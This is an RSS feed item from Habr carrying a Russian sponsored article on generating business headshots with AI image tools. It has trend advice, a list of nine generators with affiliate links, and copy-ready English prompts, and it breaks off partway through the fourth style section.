<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Все публикации подряд на Хабре</title>
    <link>https://habr.com/rss/all/all/</link>
    <description>Все публикации подряд на Хабре</description>
    <managingEditor>editor@habr.com</managingEditor>
    <pubDate>Thu, 11 Jun 2026 00:03:52 +0000</pubDate>
    <image>
      <url>https://habrastorage.org/webt/ym/el/wk/ymelwk3zy1gawz4nkejl_-ammtc.png</url>
      <title>Хабр</title>
      <link>https://habr.com/ru/articles/</link>
    </image>
    <item>
      <title>Как сделать деловое фото с помощью нейросети — ТОП-9 ИИ для бизнес-портрета, промпты и сравнения</title>
      <link>https://habr.com/ru/companies/studyai/articles/1045842/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1045842</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Каждый раз, когда нужно обновить аватарку на Линке, HeadHunter или во внутреннем Битриксе компании, в мире плачет один digital-специалист. Потому что варианта обычно два. Либо ты судорожно ищешь в телефоне фотку с чьей-то свадьбы, где ты в костюме, и пытаешься криво обрезать чужое плечо из кадра. Либо сдаешься, отдаешь 10 тысяч за час в фотостудии и на выходе получаешь пластиковый, скованный портрет с натянутой улыбкой «успешного успеха». Привет, 2010-е.&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/df7/7bd/654/df77bd6544e7a1c5ae7c21e11a47c092.png width=1166 height=616 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/df7/7bd/654/df77bd6544e7a1c5ae7c21e11a47c092.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/df7/7bd/654/df77bd6544e7a1c5ae7c21e11a47c092.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В 2026 году этот визуальный кринж официально отменен. Пока консерваторы бронируют студии и подбирают галстуки, продвинутые профи тратят две минуты, генерируют сочные бизнес-портреты в Smart Casual и забирают лучшие офферы. Рассказываем, как с помощью нейросетей сделать дорогой бизнес-аватар по обычному домашнему селфи, настроить голливудский свет и не превратиться в восковую куклу.&lt;/div&gt;&lt;hr&gt;&lt;h2&gt;Качественный трикотаж вместо душных галстуков: тренды делового фото в 2026 году&lt;/h2&gt;&lt;div class=floating-image&gt;&lt;figure class=float&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a03/02b/e61/a0302be6191f6d53a85c662f4944d587.jpg width=236 height=419 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a03/02b/e61/a0302be6191f6d53a85c662f4944d587.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a03/02b/e61/a0302be6191f6d53a85c662f4944d587.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Прежде чем скармливать нейросетям текстовые запросы, давай разберемся с визуальной базой. Если ты попросишь ИИ просто «сделать деловое фото», он по привычке выплюнет тебе привет из двухтысячных: человека в глухом черном пиджаке, с намертво завязанным галстуком и выражением лица, будто он пришел продавать тебе страховку или пылесос.&lt;/div&gt;&lt;p&gt;В ИТ-среде и digital жесткий корпоративный дресс-код окончательно умер. Сегодня HR-директора и крупные клиенты оценивают твою адекватность в том числе по визуальной подаче. Дорогой бизнес-портрет в 2026 году - это не про пафос, а про &lt;strong&gt;уверенность, открытость и безупречный вкус&lt;/strong&gt;.&lt;h4&gt;Если ты хочешь, чтобы твой профиль привлекал сильные офферы, закладывай в нейросеть эти 4 главных визуальных тренда:&lt;/h4&gt;&lt;h4&gt;1. Натуральные текстуры ( кинематографичный стиль)&lt;/h4&gt;&lt;p&gt;Главный маркер дешевой генерации - «эффект мыла», когда лицо выглядит идеально гладким, словно его натерли воском. Забудь про это.&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e9a/09a/9e7/e9a09a9e7eedf18f7f4e5855c48dca2e.png width=1184 height=1764 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e9a/09a/9e7/e9a09a9e7eedf18f7f4e5855c48dca2e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e9a/09a/9e7/e9a09a9e7eedf18f7f4e5855c48dca2e.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В тренде максимальная трушность. Кожа на фото должна иметь поры, мелкие мимические морщинки и живую текстуру. Итоговая картинка должна выглядеть так, будто тебя сняли на ходу на iPhone 17 Pro или на качественную беззеркалку с премиальным объективом при мягком дневном свете.&lt;/div&gt;&lt;h4&gt;2. Стиль Quiet Luxury ( «тихая роскошь») и Smart Casual&lt;/h4&gt;&lt;p&gt;Вместо сковывающих воротничков выбираем мягкий, качественный трикотаж, кашемировые водолазки, базовые футболки из плотного хлопка и блейзеры свободного кроя (oversize). Цветовая гамма - благородная природная палитра: песочный, глубокий графит, мягкий оливковый, молочный или кофейный. Это транслирует статус и экспертность гораздо лучше, чем искусственная строгость.&lt;h4&gt;3. Живые локации вместо серых студийных стен&lt;/h4&gt;&lt;p&gt;Скучный однотонный фон или банальные стеклянные перегородки офисов Сити навевают тоску.&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/dcc/3a2/606/dcc3a260628f89cfa541e46efa9057cb.png width=1024 height=747 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/dcc/3a2/606/dcc3a260628f89cfa541e46efa9057cb.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/dcc/3a2/606/dcc3a260628f89cfa541e46efa9057cb.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Переносим бэкграунд в более атмосферные места: светлые коворкинги скандинавского типа, современные минималистичные библиотеки, концептуальные кофейни с панорамными окнами или добавляем на задний план легкую геометрию бруталистичной городской архитектуры. Главное - фон должен быть мягко размыт и работать на твой образ, а не отвлекать внимание.&lt;/div&gt;&lt;h4&gt;4. Естественные позы и живые эмоции&lt;/h4&gt;&lt;p&gt;Помнишь классическую позу со скрещенными на груди руками (power pose)? Так вот, сегодня она считывается как скрытая агрессия, зажатость или попытка казаться тем, кем ты не являешься.&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/40d/505/95e/40d50595e738e8cca8e1406438aa678a.png width=1024 height=747 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/40d/505/95e/40d50595e738e8cca8e1406438aa678a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/40d/505/95e/40d50595e738e8cca8e1406438aa678a.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В тренде расслабленные плечи, естественные позы, спокойный, полувеселый взгляд и легкая, едва заметная полуулыбка. Ты должен выглядеть как сильный профи, с которым приятно и легко работать в одной команде.&lt;/div&gt;&lt;hr&gt;&lt;h2&gt;ТОП-9 нейросетей для создания делового фото&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;Nano_banana_pro&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney_toe_bot&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;Dalle_3_toe_bot&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;strong&gt;Sora_pro&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;strong&gt;Google_image&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;Improve_photo&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fopen_ai_image_bot&#34;&gt;&lt;strong&gt;Open_ai_image_bot&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgrok4&#34;&gt;&lt;strong&gt;Grok4&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5_1&#34;&gt;&lt;strong&gt;Сhat_gpt5_1&lt;/strong&gt;&lt;/a&gt;&lt;/ul&gt;&lt;hr&gt;&lt;h2&gt;Промты для делового фото с помощью нейросети: берем готовое и копируем&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Мы помним, что топовые нейросети вроде &lt;/em&gt;&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;&lt;em&gt;nano_banana_pro&lt;/em&gt;&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;strong&gt;&lt;em&gt; и &lt;/em&gt;&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;&lt;em&gt;midjourney_toe_bot&lt;/em&gt;&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;strong&gt;&lt;em&gt; думают на английском. На нем они идеально считывают текстуры тканей, геометрию света и нюансы стиля. Поэтому формулировки даем на английском - тебе останется только скопировать, поменять пол в скобках и запустить генерацию.&lt;/em&gt;&lt;/strong&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#1&gt;&lt;strong&gt;Деловое фото в стиле tech-предприниматель&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#2&gt;&lt;strong&gt;Деловое фото в стиле Smart Casual&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#3&gt;&lt;strong&gt;Деловое фото в стиле скандинавский минимализм&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#4&gt;&lt;strong&gt;Деловое фото в стиле кинематографичный бизнес-портрет&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#5&gt;&lt;strong&gt;Деловое фото в стиле индустриальный шик&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#6&gt;&lt;strong&gt;Деловое фото в стиле стиле эко-урбанизм&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#7&gt;&lt;strong&gt;Деловое фото в стиле креативный директор&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#8&gt;&lt;strong&gt;Деловое фото в стиле нео-классика&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#9&gt;&lt;strong&gt;Деловое фото в стиле концептуальный минимализм&lt;/strong&gt;&lt;/a&gt;&lt;/ul&gt;&lt;p&gt;Начнем с главного фаворита этого года - нейросеть &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;nano_banana_pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;. В 2026-м она удерживает жесткий топ по фотореализму, потому что умеет генерировать живую текстуру кожи и поры без этого бесячего эффекта «пластикового лица».&lt;hr&gt;&lt;h3&gt;1. Стиль Tech-предприниматель ( упор на расслабленный статус)&lt;/h3&gt;&lt;a class=anchor id=1&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Сгенерировать деловое фото в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;Nano_banana_pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;Этот вариант - абсолютный мастхэв для тимлидов, ИТ-директоров, продактов, стартаперов и топ-разработчиков. Короче, для всех, кому нужен дорогой аватар для Хабр Карьеры, профиля спикера на конференциях, Notion или Битрикс24, но без натужного корпоративного пафоса.&lt;/em&gt;&lt;/code&gt;&lt;p&gt;👇 &lt;strong&gt;Промт для копирования&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;Nano_banana_pro&lt;/strong&gt;&lt;/a&gt;:&lt;pre&gt;&lt;code&gt;High-end business portrait of a [man/woman], &#xA;30 years old, wearing a premium beige cashmere &#xA;turtleneck and a relaxed gray blazer. Soft natural &#xA;daylight from a window, modern minimalist co-working &#xA;space background, cinematic lighting. Shot on 85mm lens, &#xA;f/1.8, photorealistic, visible skin texture, authentic &#xA;smile, look at the camera, &#xA;professional color grading --ar 4:5&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Абсолютно живой снимок, где ты в дорогой кашемировой водолазке и свободном блейзере сидишь на фоне светлого, эстетично размытого коворкинга в скандинавском стиле. Никаких серых студийных стен и зажатых поз. Картинка транслирует чистый &lt;em&gt;Smart Casual&lt;/em&gt; и выглядит так, будто тебя мимоходом снял топовый инди-фотограф на премиальный объектив.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ec3/6b2/117/ec36b211777b32ab4c844dd6eb3e2be6.png alt=&#34;Вместо душного офисного официоза - эстетика уверенного в себе профи, с которым легко и комфортно работать.&#34; title=&#34;Вместо душного офисного официоза - эстетика уверенного в себе профи, с которым легко и комфортно работать.&#34; width=1856 height=2304 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ec3/6b2/117/ec36b211777b32ab4c844dd6eb3e2be6.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ec3/6b2/117/ec36b211777b32ab4c844dd6eb3e2be6.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Вместо душного офисного официоза - эстетика уверенного в себе профи, с которым легко и комфортно работать.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Твой профиль мгновенно вылетает из серой массы одинаковых аватарок.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Если нейросеть в силу своих алгоритмов все-таки пытается выдать тебе идеальное лицо «без единого греха», допиши в самый конец промта фразу &lt;code&gt;natural skin imperfections, subtle pores&lt;/code&gt; (естественные несовершенства кожи, едва заметные поры). Это заставит ИИ врубить максимальную трушность на уровне пор и мимики.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;2. Стиль Smart Casual ( для экспертов, ценящих баланс)&lt;/h3&gt;&lt;a class=anchor id=2&gt;&lt;/a&gt;&lt;p&gt;👉&lt;strong&gt; Сгенерировать деловое фото в нейросети &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;Midjourney_toe_bot&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;Этот стиль создан для маркетологов, SEO-специалистов, креативных директоров, дизайнеров, востребованных фрилансеров и тимлидов. Идеальный выбор, когда нужно обновить аватар для корпоративного Битрикса, резюме на HeadHunter или личного блога, показав одновременно и высокий профессионализм, и открытость к живой коммуникации.&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;&lt;em&gt;M&lt;/em&gt;idjourney_toe_bot&lt;/strong&gt;&lt;/a&gt; - это абсолютная классика для создания дорогой журнальной эстетики. Он безупречно подбирает фактуру одежды и выстраивает сложный, глубокий свет, который обычно делают только на премиальных съемках.&lt;p&gt;👇 &lt;strong&gt;Промт для копирования&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney_toe_bot&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Editorial corporate headshot of a [man/woman] in their 30s, &#xA;short modern haircut, wearing a relaxed-fit &#xA;olive green linen shirt over a white tee. &#xA;Soft shadows, light gray concrete wall background &#xA;with indoor plants, architectural lighting, highly &#xA;detailed, photorealistic skin, 35mm photography style, &#xA;relaxed shoulders, confident soft look --ar 4:5&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Свежий, динамичный и глубокий кадр с идеальным балансом. Вместо скованного человека в застегнутом на все пуговицы пиджаке на фото будет профи в качественной оливковой рубашке свободного кроя поверх базовой белой футболки. На бэкграунде - стильная фактурная стена с легкими, аккуратными элементами интерьерного озеленения и мягкими архитектурными тенями.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fc/87d/594/1fc87d594faa009cc3bb6eb601eb1c0b.png alt=&#34;Кадр полностью избавляет от ощущения «офисного рабства»&#34; title=&#34;Кадр полностью избавляет от ощущения «офисного рабства»&#34; width=2048 height=2048 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1fc/87d/594/1fc87d594faa009cc3bb6eb601eb1c0b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fc/87d/594/1fc87d594faa009cc3bb6eb601eb1c0b.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Кадр полностью избавляет от ощущения «офисного рабства»&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Он транслирует, что ты гибкий, современный человек, который идет в ногу с трендами, не прячется за устаревшими масками и готов к созданию крутых проектов.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Эта нейросеть обожает кинематографичные термины. Если хочешь еще сильнее поиграть с настроением кадра, сделать цвета более глубокими, благородными и добавить снимку «веса», вставь в промт фразу &lt;code&gt;shot on 35mm lens, corporate editorial photography style&lt;/code&gt;. Картинка сразу станет выглядеть так, будто ее сняли для разворота Forbes.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;3. Стиль скандинавский минимализм ( чистота и фокус на личности)&lt;/h3&gt;&lt;a class=anchor id=3&gt;&lt;/a&gt;&lt;p&gt;👉&lt;strong&gt; Сгенерировать деловое фото в нейросети &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;Dalle_3_toe_bot&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;Этот стиль - идеальное решение для аналитиков, проджект-менеджеров, финтех-специалистов, HR-экспертов и всех, кто ценит лаконичность, четкость и аккуратность. Такое ИИ-фото будет безупречно смотреться в резюме, профиле в Telegram, на корпоративном портале компании или в рабочей почте.&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Нейросеть &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;dalle_3_toe_bot&lt;/strong&gt;&lt;/a&gt; в 2026 году выбирают за ее математическую точность. Она превосходно понимает геометрию кадра, строго следует ТЗ по фасонам одежды и выдает чистые, аккуратные текстуры без лишнего визуального шума и странных артефактов на заднем плане.&lt;p&gt;👇&lt;strong&gt;Промт для копирования&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;Dalle_3_toe_bot&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;:&lt;pre&gt;&lt;code&gt;A professional close-up portrait of a [man/woman] in a minimalist style.&#xA;Wearing a high-quality oversized structured white shirt. &#xA;Neutral, calm expression with a gentle half-smile. &#xA;The background is a softly blurred interior of a &#xA;Scandinavian-style cafe with light wood and clean lines. &#xA;Natural soft lighting, cinematic depth of field, real human &#xA;skin details without smooth filters.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Премиальный портрет крупным планом в светлых, воздушных тонах. На тебе - качественная белая рубашка плотного свободного кроя, а на заднем плане - мягко размытый интерьер скандинавского кафе с элементами светлого дерева и чистыми линиями.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f0b/882/0cb/f0b8820cb14e9b09e6dbfab5fb71a485.png alt=&#34;Фокус смещен исключительно на твое лицо, взгляд и мимику&#34; title=&#34;Фокус смещен исключительно на твое лицо, взгляд и мимику&#34; width=2048 height=2048 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f0b/882/0cb/f0b8820cb14e9b09e6dbfab5fb71a485.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f0b/882/0cb/f0b8820cb14e9b09e6dbfab5fb71a485.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Фокус смещен исключительно на твое лицо, взгляд и мимику&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В эпоху, когда все пытаются выделиться пестрыми фонами и сложным реквизитом, строгий и дорогой минимализм выглядит как манифест абсолютной уверенности. Такое фото для компании транслирует структурное мышление, внимание к деталям и внутреннюю дисциплину.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; У алгоритмов&lt;strong&gt; &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;DALL-E&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;есть давняя слабость - они иногда грешат тем, что делают лица слишком симметричными, кукольными и «причесанными». Чтобы пробить этот барьер и вернуть снимку жизнь, мы добавили в промт фразу &lt;code&gt;real human skin details without smooth filters&lt;/code&gt; (реальные детали человеческой кожи без сглаживающих фильтров). Это заставит нейросеть сохранить твою уникальную индивидуальность.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;4. Cтиль кинематографичный бизнес-портрет ( глубокий фокус и идеальный свет)&lt;/h3&gt;&lt;a class=anchor id=4&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Сгенерировать деловое фото в нейросети&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;Sora_pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;strong&gt;&lt;/strong&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;Этот стиль делового фото - выбор топ-менеджеров, продюсеров, бизнес-консультантов, тимлидов крупных проектов и фаундеров. Короче говоря, всех, кому необходимо по-настоящему статусное, авторитетное и визуально дорогое фото для карточки спикера на конференциях, презентаций инвесторам, сайта компании или профиля в Линке.&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Нейросеть &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;sora_pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt; в 2026 году используют не только для видео, но и для создания умопомрачительных статичных кадров. У него лучшая на рынке физика света, идеальный объем и глубина резкости, сопоставимая с голливудским кинопроизводством.&lt;p&gt;&lt;strong&gt;👇Промт для копирования &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;strong&gt;Sora_pro&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Cinematic commercial headshot of a professional [man/woman], &#xA;looking slightly away from the camera&#xA;with a confident, warm expression. &#xA;Soft volumetric lighting, wearing a &#xA;navy blue unstructured blazer over a &#xA;premium gray t-shirt. Background is an artistic,&#xA;dimly lit premium office lounge with warm amber&#xA;accents, highly detailed clothing textures, &#xA;8k resolution static frame, realistic skin physics.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img 